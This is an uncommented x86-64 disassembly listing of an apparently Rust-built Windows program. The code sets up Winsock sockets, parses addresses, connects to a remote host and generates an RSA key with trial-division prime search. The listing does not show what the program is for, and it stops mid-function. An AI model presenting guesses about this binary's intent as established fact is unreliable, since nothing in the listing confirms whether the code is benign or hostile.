mov qword [rbp + 0x8648], rsi
cmp rsi, qword [rbp + 0x86a0]
je 0x140009013
movzx r12d, word [rsi]
movzx eax, word [rsi + 0x12]
mov word [rbp + 0x4060], ax
movdqu xmm0, xmmword [rsi + 2]
movdqa xmmword [rbp + 0x4050], xmm0
cmp r12w, 2
je 0x140009013
mov ebx, dword [rsi + 0x14]
mov r13d, dword [rsi + 0x18]
movzx edi, word [rsi + 0x1c]
movzx eax, word [rbp + 0x4060]
mov word [rbp + 0x6080], ax
movdqa xmm0, xmmword [rbp + 0x4050]
movdqa xmmword [rbp + 0x6070], xmm0
mov rax, qword [0x1400752a0]
cmp rax, 3
jne 0x140009009
push 2
pop r15
test r12w, r12w
push 1
pop rdx
je 0x140008ed9
push 0x17
pop r15
mov dword [rsp + 0x28], 0x81
and dword [rsp + 0x20], 0
mov ecx, r15d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140008f14
test r12w, r12w
je 0x140008f7a
mov ax, 0x17
movdqu xmm0, xmmword [rbp + 0x6072]
push 0x1c
jmp 0x140008f91
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x140008f2f
mov r14d, eax
cmp eax, 0x2726
jne 0x140008fda
mov dword [rsp + 0x28], 1
and dword [rsp + 0x20], 0
mov ecx, r15d
push 1
pop r15
mov edx, r15d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x140008ffe
mov r14, rax
mov rcx, rax
mov edx, r15d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x140008efe
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140008fce
movzx edi, word [rbp + 0x6074]
mov ebx, dword [rbp + 0x6070]
mov ax, 2
pxor xmm0, xmm0
push 0x10
pop r8
mov r15, qword [rbp + 0x8660]
rol di, 8
mov word [rbp - 0x40], ax
mov word [rbp - 0x3e], di
mov dword [rbp - 0x3c], ebx
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0x28], r13d
mov rcx, r14
lea rdx, [rbp - 0x40]
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140009239
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov rcx, r14
mov r14d, eax
call qword [sym.imp.ws2_32.dll_closesocket]
shl r14, 0x20
or r14, 2
lea rcx, [rbp + 0x85a0]
call fcn.140003955
mov qword [rbp + 0x85a0], r14
add rsi, 0x20
jmp 0x140008e5a
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r14d, eax
jmp 0x140008fda
call fcn.140058040
jmp 0x140008ec8
mov rcx, qword [rbp + 0x8648]
mov rdx, qword [rbp + 0x8660]
call fcn.140003b9f
test r14, r14
lea rax, str.could_not_resolve_to_any_addresses
cmovne rax, r14
mov r14, rax
jmp 0x140009587
mov rax, qword [rbp + 0x6078]
test rax, rax
je 0x140008d72
mov r14, qword [rbp + 0x6070]
dec rax
mov cl, byte [r14]
inc r14
mov qword [rbp + 0x6070], r14
mov qword [rbp + 0x6078], rax
cmp cl, 0x5b
jne 0x140008d72
pxor xmm0, xmm0
lea rdx, [rbp - 0x40]
movdqa xmmword [rdx], xmm0
lea rcx, [rbp + 0x6070]
push 8
pop rbx
mov r8, rbx
call fcn.140021f80
cmp rax, 8
jne 0x1400092f2
movzx eax, word [rbp - 0x40]
movzx ecx, word [rbp - 0x3e]
movzx edx, word [rbp - 0x3c]
movzx r8d, word [rbp - 0x3a]
movzx r9d, word [rbp - 0x38]
movzx r10d, word [rbp - 0x36]
movzx r11d, word [rbp - 0x34]
movzx ebx, word [rbp - 0x32]
rol ax, 8
rol cx, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
rol bx, 8
movd xmm0, ebx
movd xmm1, r11d
punpcklwd xmm1, xmm0
movd xmm0, r10d
movd xmm2, r9d
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm1
movd xmm0, r8d
movd xmm1, edx
punpcklwd xmm1, xmm0
movd xmm3, ecx
movd xmm0, eax
punpcklwd xmm0, xmm3
punpckldq xmm0, xmm1
punpcklqdq xmm0, xmm2
mov rcx, qword [rbp + 0x6070]
mov r8, qword [rbp + 0x6078]
xor r12d, r12d
test r8, r8
je 0x1400094b2
cmp byte [rcx], 0x25
jne 0x14000bdda
lea r10, [rcx + 1]
lea r9, [r8 - 1]
xor ebx, ebx
mov r14, r9
mov r11, r10
xor r15d, r15d
xor r12d, r12d
test r14, r14
je 0x14000917f
lea rdx, [r11 + 1]
movzx r13d, byte [r11]
add r13d, 0xffffffd0
xor eax, eax
cmp r13d, 0xa
setb al
cmovb r11, rdx
sub r14, rax
jmp 0x140009184
xor r14d, r14d
xor eax, eax
cmp eax, 1
jne 0x14000bdba
mov eax, ebx
push 0xa
pop rdx
mul edx
jo 0x14000bdcc
add eax, r13d
jb 0x14000bdcc
inc r15d
mov ebx, eax
jmp 0x14000915c
lea r12, [rbx + 1]
lea rcx, [rsi + rbx]
inc rcx
sub rdi, r12
mov rdx, rdi
call fcn.140026020
test al, 1
jne 0x14000925e
shr eax, 0x10
mov word [rbp + 0x8550], ax
mov rax, qword [0x1400752a0]
cmp rax, 3
jne 0x14000954b
lea r14, [rbp + 0x8550]
mov qword [rbp + 0x8480], r14
cmp rbx, 0x17f
ja 0x140009555
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x40], 0
cmp rbx, 0xe
ja 0x1400092ba
xor ecx, ecx
cmp byte [rbp + rcx - 0x40], 0
je 0x1400094ba
inc rcx
cmp r12, rcx
jne 0x140009221
jmp 0x140009511
mov rcx, qword [rbp + 0x8648]
mov rdx, r15
call fcn.140003b9f
lea rcx, [rbp + 0x85a0]
call fcn.140003955
mov dil, 1
xor esi, esi
jmp 0x14000958c
lea r14, str.invalid_port_value
jmp 0x140009587
mov rax, qword [rbp + 0x8668]
lea rdx, [rax + 0x100]
mov rcx, r13
call fcn.1400566bc
mov rcx, qword [rbp + 0x8668]
jmp 0x140008308
mov rsi, qword [rbp + 0x8668]
mov rax, qword [rsi + 0x2180]
mov byte [rax + 0x38], 4
mov rax, qword [rbp + 0x8688]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx + 0x10]
mov rdx, rsi
jmp case.0x14000867b.1
lea rax, [rbp - 0x39]
and rax, 0xfffffffffffffff8
sub rax, rdi
je 0x14000944f
xor ecx, ecx
cmp byte [rbp + rcx - 0x40], 0
je 0x1400094ba
inc rcx
cmp rax, rcx
jne 0x1400092cd
lea rcx, [rbx - 0xf]
cmp rax, rcx
jbe 0x140009453
jmp 0x140009493
test dl, 1
jne 0x1400093aa
mov rcx, qword [rbp + 0x6078]
test rcx, rcx
je 0x1400093aa
mov rdx, qword [rbp + 0x6070]
cmp byte [rdx], 0x3a
jne 0x1400093aa
cmp rcx, 1
je 0x1400093aa
add rcx, 0xfffffffffffffffe
mov r8b, byte [rdx + 1]
add rdx, 2
mov qword [rbp + 0x6070], rdx
mov qword [rbp + 0x6078], rcx
cmp r8b, 0x3a
jne 0x1400093aa
and qword [rbp + 0x4056], 0
and qword [rbp + 0x4050], 0
push 7
pop r8
sub r8, rax
jb 0x140012963
lea rcx, [rbp + 0x6070]
lea rdx, [rbp + 0x4050]
call fcn.140021f80
sub rbx, rax
jb 0x140012978
cmp rax, 8
je 0x14001298a
lea rcx, [rbx*2 - 0x40]
add rcx, rbp
add rax, rax
lea rdx, [rbp + 0x4050]
mov r8, rax
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000909b
mov qword [rbp + 0x6070], r14
jmp 0x140008d72
mov rax, qword [rbp + 0x8598]
cmp byte [r8 + rax], 0
js 0x1400093d0
movdqa xmm0, xmmword [r8]
pmovmskb eax, xmm0
bsf eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x85b0]
mov qword [rbp - 0x30], rax
movaps xmm0, xmmword [rbp + 0x85a0]
movaps xmmword [rbp - 0x40], xmm0
movzx eax, byte [r8 + rdx]
and eax, 1
mov rcx, qword [rbp + 0x8668]
sub qword [rcx + 0xf0], rax
lea rax, [rdx - 0x10]
and rbx, rax
mov rax, qword [rbp + 0x84e8]
mov byte [r8 + rdx], al
mov byte [r8 + rbx + 0x10], al
inc qword [rcx + 0xf8]
shl rdx, 5
mov rax, r8
sub rax, rdx
mov rcx, qword [rbp - 0x30]
mov qword [rax - 0x10], rcx
movdqa xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rax - 0x20], xmm0
neg rdx
mov r12, qword [rbp + 0x8590]
mov qword [r8 + rdx - 8], r12
xor esi, esi
jmp 0x140008431
lea rcx, [rbx - 0xf]
movdqa xmm0, xmmword [0x140059670]
movabs r8, 0x8080808080808080
movdqu xmm1, xmmword [rbp + rax - 0x40]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq rdx, xmm2
test rdx, r8
jne 0x140009493
add rax, 0x10
cmp rax, rcx
jbe 0x140009465
sub r12, rax
je 0x140009511
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffc0
xor ecx, ecx
cmp byte [rdx + rcx], 0
je 0x1400094b7
inc rcx
cmp r12, rcx
jne 0x1400094a2
jmp 0x140009511
jmp 0x14000bdda
add rcx, rax
cmp rcx, rbx
jne 0x140009511
pxor xmm0, xmm0
lea r8, [rbp + 0x6070]
movdqa xmmword [r8], xmm0
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
mov dword [r8 + 8], 1
lea r9, [rbp + 0x85a0]
and qword [r9], 0
lea rcx, [rbp - 0x40]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140009524
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
push 1
pop rcx
jmp 0x140009542
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rbp + 0x4058], rax
push 1
pop rcx
jmp 0x140009574
mov rax, qword [rbp + 0x85a0]
movzx ecx, word [rbp + 0x8550]
mov qword [rbp + 0x4060], rax
mov word [rbp + 0x4068], cx
xor ecx, ecx
mov qword [rbp + 0x4058], rax
jmp 0x140009574
call fcn.140058040
jmp 0x1400091e3
lea rdi, [rbp + 0x4050]
lea r9, [rbp + 0x8480]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.1400580a0
mov rcx, qword [rdi]
mov r10, qword [rbp + 0x4058]
test rcx, rcx
je 0x14000badc
mov r14, r10
push 1
pop rsi
xor edi, edi
mov rcx, qword [rbp + 0x84f0]
mov rdx, qword [rbp + 0x84f8]
call fcn.140037dd5
mov qword [rbp + 0x8220], rsi
mov qword [rbp + 0x8228], r14
test dil, dil
je 0x14000d687
call fcn.14003453a
mov rdi, rax
lea rsi, [rbp - 0x40]
mov edx, 0x10001
mov rcx, rsi
call fcn.140006044
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
mov qword [rsp + 0x20], rax
lea r8, str.invalid_static_exponent
lea rcx, [rbp + 0x80c0]
push 0x17
pop r9
mov rdx, rsi
call fcn.1400042ca
lea rcx, [rbp + 0x84f0]
call fcn.140005fb8
push 2
pop rdx
mov rcx, rsi
mov qword [rbp + 0x8170], rdx
call fcn.14002a799
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x14000d4b6
mov r15, qword [rbp - 0x30]
mov qword [rbp + 0x8480], rcx
mov qword [rbp + 0x8488], r15
and qword [rbp + 0x8490], 0
movups xmm0, xmmword [rbp + 0x84f0]
movups xmm1, xmmword [rbp + 0x8500]
movups xmm2, xmmword [rbp + 0x8510]
movaps xmmword [rbp + 0x6090], xmm2
movaps xmmword [rbp + 0x6080], xmm1
movaps xmmword [rbp + 0x6070], xmm0
cmp rcx, 1
mov qword [rbp + 0x8590], rdi
ja 0x1400096a7
lea rcx, [rbp + 0x8480]
push 2
pop r8
xor edx, edx
call fcn.14002a6e6
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14000d9b6
mov r15, qword [rbp + 0x8488]
mov rcx, qword [rbp + 0x8490]
jmp 0x1400096a9
xor ecx, ecx
push 0x18
pop rax
mov qword [rbp + 0x8168], rax
mov qword [rbp + 0x84e8], rcx
imul rax, rcx, 0x30
mov r12, rax
lea rbx, [r15 + rax]
mov al, 1
lea rdi, [rbp + 0x6070]
test al, 1
je 0x140009702
mov rcx, rsi
mov rdx, rdi
call fcn.14002a1d1
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmm1, xmmword [rbp - 0x30]
movdqu xmm2, xmmword [rbp - 0x20]
movdqu xmmword [rbx + 0x20], xmm2
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
add rbx, 0x30
xor eax, eax
jmp 0x1400096ce
mov qword [rbp + 0x80f0], r14
lea rax, [rbp + 0x6078]
movdqa xmm0, xmmword [rax - 8]
movdqa xmm1, xmmword [rax + 8]
movdqa xmm2, xmmword [rax + 0x18]
movdqu xmmword [rbx + 0x20], xmm2
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
mov rax, qword [rbp + 0x84e8]
add rax, 2
mov qword [rbp + 0x8238], rax
lea rax, [rbp + 0x8480]
mov rax, qword [rax]
mov qword [rbp + 0x80f8], rax
lea rcx, [r15 + r12]
add rcx, 0x60
add r12, 0x60
mov qword [rbp + 0x8650], r12
pxor xmm6, xmm6
mov edx, 0x800
lea r13, [rbp + 0x6070]
lea r12, [rbp - 0x40]
lea rsi, [rbp + 0x8440]
push 5
pop rax
mov qword [rbp + 0x8658], rax
lea r14, [0x14006e4ac]
mov r9, r15
xor r8d, r8d
mov rdi, qword [rbp + 0x8590]
mov qword [rbp + 0x8688], r15
mov qword [rbp + 0x8640], rcx
cmp r9, rcx
je 0x14000b797
cmp r8, 2
je 0x14000bee9
push 2
pop rcx
sub rcx, r8
mov qword [rbp + 0x8598], rdx
mov rax, rdx
xor edx, edx
div rcx
cmp rax, 2
jb 0x14000d856
mov r15, rax
inc r8
mov qword [rbp + 0x8230], r8
mov ebx, r15d
and ebx, 7
push 8
pop rax
cmove rbx, rax
mov qword [rbp + 0x81e0], r9
lea rax, [r9 + 0x30]
mov qword [rbp + 0x81e8], rax
lea r12, [r15 + 7]
mov qword [rbp + 0x8690], r12
shr r12, 3
lea rcx, [rbp + 0x81f0]
mov rdx, r12
call fcn.140050b71
push 0xffffffffffffffff
pop rax
mov ecx, ebx
shl eax, cl
not al
mov dword [rbp + 0x8648], eax
mov qword [rbp + 0x86a0], rbx
lea ecx, [rbx + 6]
and cl, 7
mov al, 3
shl al, cl
mov byte [rbp + 0x8678], al
dec r12
mov qword [rbp + 0x8660], r12
mov r12, qword [rbp + 0x81f8]
mov r13, qword [rbp + 0x8200]
mov rcx, rdi
mov rdx, r12
mov r8, r13
call fcn.1400345be
mov rcx, r12
mov rdx, r13
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140005aba
mov ecx, dword [rbp + 0x8648]
and byte [rax], cl
cmp dword [rbp + 0x86a0], 1
jbe 0x1400098b5
mov rcx, r12
mov rdx, r13
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140005aba
mov cl, byte [rbp + 0x8678]
jmp 0x1400098ef
mov rcx, r12
mov rdx, r13
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140005aba
or byte [rax], 1
cmp qword [rbp + 0x8690], 0xf
jbe 0x1400098f1
mov rcx, r12
mov rdx, r13
push 1
pop r8
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140005aba
mov cl, 0x80
or byte [rax], cl
mov rcx, r12
mov rdx, r13
mov r8, qword [rbp + 0x8660]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140005aba
or byte [rax], 1
mov rcx, rsi
mov rdx, r12
mov r8, r13
call fcn.140002abc
mov rax, qword [0x1400750d8]
test rax, rax
lea r12, [rbp - 0x40]
jne 0x1400099cf
xor eax, eax
push 1
pop rcx
lock cmpxchg qword [0x1400750d8], rcx
jne 0x1400099cf
mov rcx, r12
movabs rdx, 0xe221f97c30e94e1d
call fcn.14002a319
cmp dword [rbp - 0x40], 2
lea r13, [rbp + 0x6070]
je 0x14000d50e
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmm2, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x6090], xmm2
movaps xmmword [rbp + 0x6080], xmm1
movaps xmmword [rbp + 0x6070], xmm0
lea rcx, [0x1400750a8]
call fcn.14002dfa4
movdqa xmm0, xmmword [rbp + 0x6070]
movdqa xmm1, xmmword [rbp + 0x6080]
movdqa xmm2, xmmword [rbp + 0x6090]
movdqu xmmword [0x1400750c8], xmm2
movdqu xmmword [0x1400750b8], xmm1
movdqu xmmword [0x1400750a8], xmm0
push 2
pop rax
xchg qword [0x1400750d8], rax
jmp case.0x1400099ef.2
movsxd rax, dword [r14 + rax*4]
add rax, r14
lea r13, [rbp + 0x6070]
jmp rax
pause
mov rax, qword [0x1400750d8]
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
mov rcx, r12
mov rdx, rsi
lea r8, [0x1400750a8]
call fcn.14002b0d4
lea rax, [rbp - 0x10]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
mov rcx, r12
call fcn.14002a34c
mov rcx, r13
call fcn.140005fdd
test rax, rax
je 0x14000d3d0
mov rsi, rdx
mov rcx, r13
call fcn.14002a34c
xor r8d, r8d
cmp r8, 0x100000
jae 0x140009cf0
lea r9, [r8 + 2]
lea rcx, [r8 + rsi]
xor r10d, r10d
cmp r10, 0xf
je 0x140009aad
lea rax, [0x14005a0f0]
movzx r11d, byte [r10 + rax]
test r11, r11
je 0x14000bad0
cmp r15, 7
setb bl
inc r10
mov rax, rcx
xor edx, edx
div r11
cmp rcx, r11
sete al
test bl, al
jne 0x140009a6c
test rdx, rdx
jne 0x140009a6c
mov r8, r9
jmp 0x140009a54
test r8, r8
je 0x140009cf0
mov rcx, r12
mov rdx, r8
call fcn.140006044
cmp dword [rbp - 0x40], 2
je 0x14000d419
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmm1, xmmword [rbp - 0x30]
movdqu xmm2, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
mov r12, qword [rbp + 0x8468]
mov r13, r12
cmp r12, 5
jb 0x140009b09
mov r13, qword [rbp + 0x8448]
mov r9, qword [rbp + 0x6098]
mov rax, r9
cmp r9, 5
jb 0x140009b20
mov rax, qword [rbp + 0x6078]
cmp r13, rax
jae 0x140009be2
lea rsi, [rbp + 0x8448]
cmp r12, 5
jb 0x140009b44
mov r12, qword [rbp + 0x8448]
mov rsi, qword [rbp + 0x8450]
lea rdi, [rbp + 0x6070]
mov rcx, rdi
mov rdx, r13
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.14002a98c
mov r9, rdx
mov rcx, rsi
mov rdx, r12
mov r8, rax
call fcn.140002829
mov qword [rbp + 0x8680], rax
mov rcx, rdi
mov rdx, r13
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.14002a9c1
mov qword [rbp + 0x8698], rax
mov rbx, rdx
mov rsi, qword [rbp + 0x8468]
cmp rsi, 5
jb 0x140009ba5
mov rsi, qword [rbp + 0x8448]
lea rcx, [rbp + 0x8440]
mov rdx, rbx
call fcn.140029e72
mov rcx, rax
call fcn.140029d54
mov r12, qword [rbp + 0x8468]
cmp r12, 5
jb 0x140009c37
mov r12, qword [rbp + 0x8448]
cmp r12, rsi
jb 0x14000d4bf
mov rax, qword [rbp + 0x8450]
jmp 0x140009c47
lea rcx, [rbp + 0x8448]
cmp r12, 5
lea rsi, [rbp + 0x8440]
jb 0x140009c04
mov r12, qword [rbp + 0x8448]
mov rcx, qword [rbp + 0x8450]
lea r8, [rbp + 0x6078]
cmp r9, 5
lea r13, [rbp + 0x6070]
jb 0x140009c26
mov r9, qword [rbp + 0x6078]
mov r8, qword [rbp + 0x6080]
mov rdx, r12
call fcn.140002829
lea r12, [rbp - 0x40]
jmp 0x140009cd8
lea rax, [rbp + 0x8448]
cmp r12, rsi
jb 0x14000d4bf
lea rdi, [rax + rsi*8]
lea rcx, [rdi + rbx*8]
mov r8, r12
sub r8, rsi
shl r8, 3
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
lea r8, [rbx*8]
mov rcx, rdi
mov rdx, qword [rbp + 0x8698]
call sub.VCRUNTIME140.dll_memcpy
add r12, rbx
xor eax, eax
cmp qword [rbp + 0x8468], 5
setb al
shl eax, 5
mov qword [rbp + rax + 0x8448], r12
lea rsi, [rbp + 0x8440]
mov rcx, rsi
mov rdx, r13
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.14002a9c1
mov rcx, qword [rbp + 0x8680]
mov qword [rbp - 0x40], rcx
mov rcx, rax
lea r12, [rbp - 0x40]
mov r8, r12
push 1
pop r9
call fcn.140002829
mov rdi, qword [rbp + 0x8590]
lea r13, [rbp + 0x6070]
test rax, rax
je 0x140009ce8
mov rcx, rsi
mov rdx, rax
call fcn.140029b06
mov rcx, r13
call fcn.14002a34c
lea rsi, [rbp + 0x8440]
mov rcx, rsi
call fcn.140002b70
cmp rax, r15
jne 0x14000a656
mov rax, qword [rbp + 0x8468]
cmp rax, 5
jb 0x140009d1c
mov rax, qword [rbp + 0x8448]
test rax, rax
je 0x14000a656
mov rax, qword [0x1400750a0]
test rax, rax
jne case.0x1400099ef.5
xor eax, eax
push 1
pop rcx
lock cmpxchg qword [0x1400750a0], rcx
jne case.0x1400099ef.5
mov rcx, r12
push 0x40
pop rdx
call fcn.14002a319
cmp dword [rbp - 0x40], 2
je 0x14000d609
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmm2, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x6090], xmm2
movaps xmmword [rbp + 0x6080], xmm1
movaps xmmword [rbp + 0x6070], xmm0
lea rcx, [0x140075070]
call fcn.14002dfa4
movdqa xmm0, xmmword [rbp + 0x6070]
movdqa xmm1, xmmword [rbp + 0x6080]
movdqa xmm2, xmmword [rbp + 0x6090]
movdqu xmmword [0x140075090], xmm2
movdqu xmmword [0x140075080], xmm1
movdqu xmmword [0x140075070], xmm0
push 2
pop rax
xchg qword [0x1400750a0], rax
jmp case.0x140009de3.2
lea rcx, [0x14006e4bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x1400750a0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, rsi
lea rdx, [0x140075070]
call fcn.14002e794
test al, al
je 0x140009e22
mov rcx, rsi
call fcn.140005fdd
test rax, rax
je 0x14000d52a
movabs rax, 0x28208a20a08a28ac
bt rax, rdx
jae 0x14000a656
jmp 0x14000b820
mov rcx, qword [rbp + 0x8468]
lea rax, [rbp + 0x8448]
cmp rcx, 5
jb 0x140009e44
mov rcx, qword [rbp + 0x8448]
mov rax, qword [rbp + 0x8450]
test rcx, rcx
je 0x14000a656
test byte [rax], 1
je 0x14000a656
mov r8d, 0xf60059af
lea rbx, [rbp + 0x8330]
mov rcx, rbx
mov rdx, rsi
call fcn.1400311bc
mov r8d, 0xeb52e3f3
lea rcx, [rbp + 0x8280]
mov rdx, rsi
call fcn.1400311bc
mov rcx, r12
mov rdx, rbx
push 3
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009ea0
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 5
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009ed2
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 7
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009f04
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0xb
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009f36
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0xd
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009f68
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0x11
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009f9a
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0x13
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009fcc
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0x17
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x140009ffe
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8330]
push 0x25
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a030
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x1d
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a062
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x1f
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a094
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x29
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a0c6
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x2b
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a0f8
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x2f
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a12a
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
mov rcx, r12
lea rdx, [rbp + 0x8280]
push 0x35
pop r8
call fcn.14003123e
mov rsi, qword [rbp - 0x18]
cmp rsi, 5
jb 0x14000a15c
mov rsi, qword [rbp - 0x38]
mov rcx, r12
call fcn.14002a34c
test rsi, rsi
je 0x14000a637
call fcn.14002a4db
lea rsi, [rbp + 0x82f0]
mov rcx, rsi
lea rbx, [rbp + 0x8440]
mov rdx, rbx
lea r8, section..data
call fcn.14002e054
mov rcx, rsi
call fcn.14002b087
test rax, rax
je 0x140012853
mov r8, rdx
lea rcx, [rbp + 0x8390]
mov rdx, rsi
mov qword [rbp + 0x8680], r8
call fcn.14002e7ba
call fcn.14002a3d0
lea rcx, [rbp + 0x8550]
mov rdx, rbx
lea r8, [0x140075038]
call fcn.14002e054
mov rcx, rbx
xor edx, edx
call fcn.14002f957
movdqa xmmword [rbp + 0x83f0], xmm6
movdqa xmmword [rbp + 0x83e0], xmm6
xor edx, edx
movabs r9, 0x5851f42d4c957f2d
movabs r10, 0xa17654e46fbe17f3
cmp rdx, 0x20
je 0x14000a23d
imul rax, r9
add rax, r10
mov r8, rax
shr r8, 0x2d
